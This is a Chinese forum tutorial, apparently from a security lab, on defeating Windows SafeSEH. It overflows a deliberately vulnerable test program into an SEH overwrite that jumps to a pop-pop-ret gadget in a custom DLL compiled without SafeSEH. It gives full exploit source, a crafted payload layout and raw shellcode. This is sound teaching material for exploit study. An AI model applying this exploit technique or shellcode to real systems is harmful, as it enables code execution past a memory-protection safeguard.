吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7912|回复: 8
收起左侧

[漏洞分析] 突破SafeSEH机制之二——利用未启用SafeSEH模块绕过SafeSEH

[复制链接]
筠溪 发表于 2017-8-2 10:41
本帖最后由 筠溪 于 2017-8-2 16:32 编辑

敲黑板敲黑板~~今天我们继续~
上次讲到SafeSEH的突破,介绍了一个简单的利用堆绕过SafeSEH突破SafeSEH机制之一——利用堆绕过SafeSEH
本篇总共遇到了3个问题还没有解决,有没有大神帮我解答一下,我都把问题背景给标黄了。
突破思路:
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(本次要调试的)
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中(放弃

可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、由于SafeSEH表加密,对于新手的我暂时不考虑了。

今天我们一起调试第2种,加载模块未启用SafeSEH,啥意思?
简单来说,就是... 知道LoadLibrary吧,知道dll吧?系统会在程序运行的时候提供各种各样的模块供程序加载调用(kernel32.dll,user32.dll等),这些程序加载的模块由于某种原因没有启用SafeSEH,这样就可以为我们所用!一般来说,这些系统提供的dll都会有启用SafeSEH,为了本次实验,我们自己制作一个没有启用SafeSEH的dll。

第一步 编写一个包含异常处理的漏洞程序
环境:
XP SP3
VS 2008
禁止优化选项(C/C++------optimization:disable)
Release版本编译
关闭DEP(还是那个问题,我在vs2008里并没有关闭DEP(截图在上一个帖子),可是执行结果却没有影响,有没有遇到相同问题的同学??)


代码:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char shellcode[]=
"\x90\x90\x90\x90... ..."
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}

现将shellcode用90来进行填充,从代码我们可以看出,通过向str进行超长字符串溢出,覆盖SEH链,劫持异常程序处理流程。
那么我们将程序劫持到哪里呢?shellcode?恐怕不行,因为在进行有效性检查之前,会查看这个地址,如果这个指针指向栈,就会直接终止调用。
所以,我们必须将程序劫持到一个栈外的地址,并且没有SafeSEH表的模块中,执行这个模块的某一个指令(一般是跳板指令),再跳回到shellcode执行。完美~

第二步 找地址!
找什么地址?
shellcode字符串在栈中的首地址A
需要溢出的异常处理函数指针位置,也就是溢出点B
根据B-A+4确定(溢出点上半部分的)shellcode的大小(划重点,划重点了!!!)
为什么说,这次B-A+4不是shellcode 的大小?因为shellcode的布置不再是shellcode+若干90+覆盖地址
因为覆盖的指针不能直接跳往shellcode啊,所以我们得用一个栈外地址、并且没有SafeSEH的模块中的跳转指令跳到shellcode,这样的话shellcode的布置就不再像以往那么简单,就想到jmp esp这种类似的跳转指令了,考虑用pop pop ret之类的指令,后面调试的时候告诉你为什么。
shellcode布置200个90,调试:
shellcode addr.jpg
还是直接运行到strcpy后面,搜索9090,记下shellcode首地址A:0x0012FE84


拉到栈下面,就是200个字节覆盖的尽头~查看还有多远才能覆盖到SEH:
溢出点.jpg
得到B地址 溢出点地址:0x0012FF60
B-A=220字节

第三步 布置shellcode
我们遇到了无法直接跳往shellcode的情况,考虑跳板指令,用跳板指令,一般shellcode就在覆盖地址的后面,要不就是jmp esp 或者ret
在调试的时候,我们发现在test函数刚进入的时候,会在Security cookie+4的地方压入一个-2,在准备出try{}的时候,又把这个值改动成0。原理我也不太清楚,只要我们知道,这里有一个值,他是在溢出点B下方(+8的高地址)
GS 4.jpg
这就出现问题了,我们如果想把shellcode布置在溢出点后面,用跳板指令跳到接下来的地址,但是shellcode有可能被这样一个机制修改,导致shellcode被破坏,怎么办?
幸亏shellcode被破坏的地方不多,也是仅仅溢出点后面2个DWORD,所以这两个DWORD我们用无关的90填充,接下来再填充shellcode。

接下来就是跳转指令的选择了,怎么能在执行溢出点的异常处理函数后,再跳回来呢,这就需要我们的SafeSEH OFF的模块了
如果shellcode紧邻着溢出点B,我们可以直接找ret指令的函数,跳回来继续执行shellcode,由于用了两个DWORD填充shellcode前两个字节,所以考虑选择pop pop ret指令
shellcode布置如下:
220字节0x90||4字节pop pop ret地址||8字节0x90||168字节shellcode内容

好了,还剩最后一个问题了,跳板指令地址哪里来?我们自己构造一个dll,包含这个指令的。

第四步 制作SafeSEH OFF的DLL
环境:
XP SP3
VC 6.0(编译器不会启用SafeSEH)
链接选项:/base:"0x11120000"(这里是防止跳转指令地址出现0x00截断字符串,问题:如果跳转指令必须有00,怎么处理,大神快告诉我)


[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
#include "stdafx.h"
 
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}

可以看出了,这个dll就包含了一个pop pop ret的内容

怎么验证这个dll没有开启SafeSEH呢?两种方法,一种是利用vs里面的工具,vs 2008 command prompt命令行工具,利用"dumpbin /loadconfig"+dll名称
另一个方法就是,用我们开头的程序,直接OD调试,待LoadLibrary后,有一个插件叫做SafeSEH能够直接查看加载的模块SafeSEH情况,还有一个插件叫ODFindaddr,里面有一个unprotected modules——without SafeSEH都能查看
SafeSEH-off.jpg

接下来我们查找pop pop ret的地址,OD调试
5959C3.jpg
直接搜索0x58 0x58 0xC3
问题:不知道为什么,没有找到pop eax,找到了pop ecx,pop ecx,ret
有同学遇到相同的问题了吗。
这里就能够确定这个跳转指令地址:0x111211B6

完善代码和shellcode:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220 bytes
"\xB6\x11\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}


运行~完美溢出... ... 等会,不对啊,咋没反应... ...
尴尬... ...同学们,我们调试一下看一下。
e1.jpg
直接F9,看看错误发生在哪里,OD显示0x130000写入错误。
e2.jpg
我们来计算一下,0x130000-0x12FE84=148<168.所以shellcode根本拷贝不完... ...栈空间不足

——————————————————————————手工割———————————————————————

上次调试发现栈空间不足,原来是因为main函数中,有一个str[200]的字符数组定义,用来提高栈顶,我们还将这个“没用的”str数组恢复。这样是不是就可以了?
更新shellcode首地址A:0x0012FDB8   溢出点B:0x0012FE94(其实算出来shellcode怎么填充的,这个怎么变都没用了)
new1.jpg
一定要记下来这个覆盖的SEH结构地址0x0012FE90
前面我没有讲清楚这个跳转的流程,这个跳转稍微麻烦点,我们现在一点点来看,我尽量多截图
(1)pop pop ret
new2.jpg
发生除0异常后,OD接管异常,我们按shift+F9,果然进入到我们覆盖的异常处理函数地址0x111211B6
这时我们观察栈顶,发现pop两次之后,就会return到之前覆盖的SEH头0x0012FE90,继续执行看看会发生什么
(2)ret之后的事情
new3.jpg
现在终于来到了临近shellcode的地方,先是4个0x90,然后就是我们找到的0x111211B6跳板指令地址,接下来是8个字节的0x90,只不过后4个已经在try分支处理的时候被置为0了
本来这些无关紧要的数值被当成代码执行的时候,一般情况下是不会影响shellcode执行的,但是很不幸,我们就遇到了这种情况:
new4.jpg
显然,这些变动的字节,对我们的shellcode造成了污染,直接影响了代码的正常执行,所以必须想办法,怎么办,那就跳过去吧
(3)jmp过去
位于0x0012FE90的4个90没用,我们想办法把这个4个字节改造一下,想办法直接跳到shellcode处
我们看到shellcode的地址距离当前有16个字节的长度,无条件转移指令jmp 16个字节就可以了,根据汇编指令,是\xEB\x0E
所以这个4个字节就成了"\xEB\x0E\x90\x90”
修改之后,我们再次调试程序到这里:
new5.jpg
看见没,可以直接跳转到shellcode了!
再继续运行: new6.jpg

本次调试实验到此结束。
你学会了吗????

免费评分

参与人数 6吾爱币 +18 热心值 +6 收起 理由
liutao1896 + 1 + 1 用心讨论,共获提升!
jialiang2222 + 1 + 1 6666666
asd9988 + 2 + 1 用心讨论,共获提升!
那年我高三 + 2 + 1 注入的,6666
MXWXZ + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Hmily + 10 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 筠溪 发表于 2017-8-2 11:08
本帖最后由 筠溪 于 2017-8-2 11:14 编辑

找到问题了,我自作聪明的把原作者的main函数中定义的char str[200]给注释掉了。导致堆栈空间不足。
但还是有问题,就是没办法异常处理跳到111211B6,我定义的地址执行
asd9988 发表于 2017-8-2 18:00
在这种情况下楼主还在努力研究win 系统的 一些机制 。 敬佩,
现在主流不是转向安卓了吗
 楼主| 筠溪 发表于 2017-8-2 21:25
asd9988 发表于 2017-8-2 18:00
在这种情况下楼主还在努力研究win 系统的 一些机制 。 敬佩,
现在主流不是转向安卓了吗

闲来无事,最近就想看看各种Windows的保护机制以及突破方法,另外现在主流的漏洞,管用的漏洞,也是基于windows的吧。毕竟还是世界上用的最多的系统。虽然我知道随着win10的更新,Windows漏洞越来越难了。
安卓安全我不太了解,有好用的入门的资料吗?我可以过这一阵子看看
xiawan 发表于 2017-8-3 15:20
pc一样重要,安卓代替不了电脑。支持楼主~!
zt185 发表于 2017-8-3 16:37
学习了,和高手学习提高自己!
fengjixuchui 发表于 2017-8-11 13:01
感谢分享!
Roomyoung 发表于 2017-10-3 22:48
这里"问题:不知道为什么,没有找到pop eax,找到了pop ecx,pop ecx,retn"
VC 6.0 的优化没关闭, Project Setting->C/C++->Optimizations
bubu 发表于 2018-1-25 10:07
Roomyoung 发表于 2017-10-3 22:48
这里"问题:不知道为什么,没有找到pop eax,找到了pop ecx,pop ecx,retn"
VC 6.0 的优化没关闭, Projec ...

确实是没有关闭优化选项。如果release版本不好关闭的话,可以选择debug版本,然后关闭优化选项。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-3 02:14

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表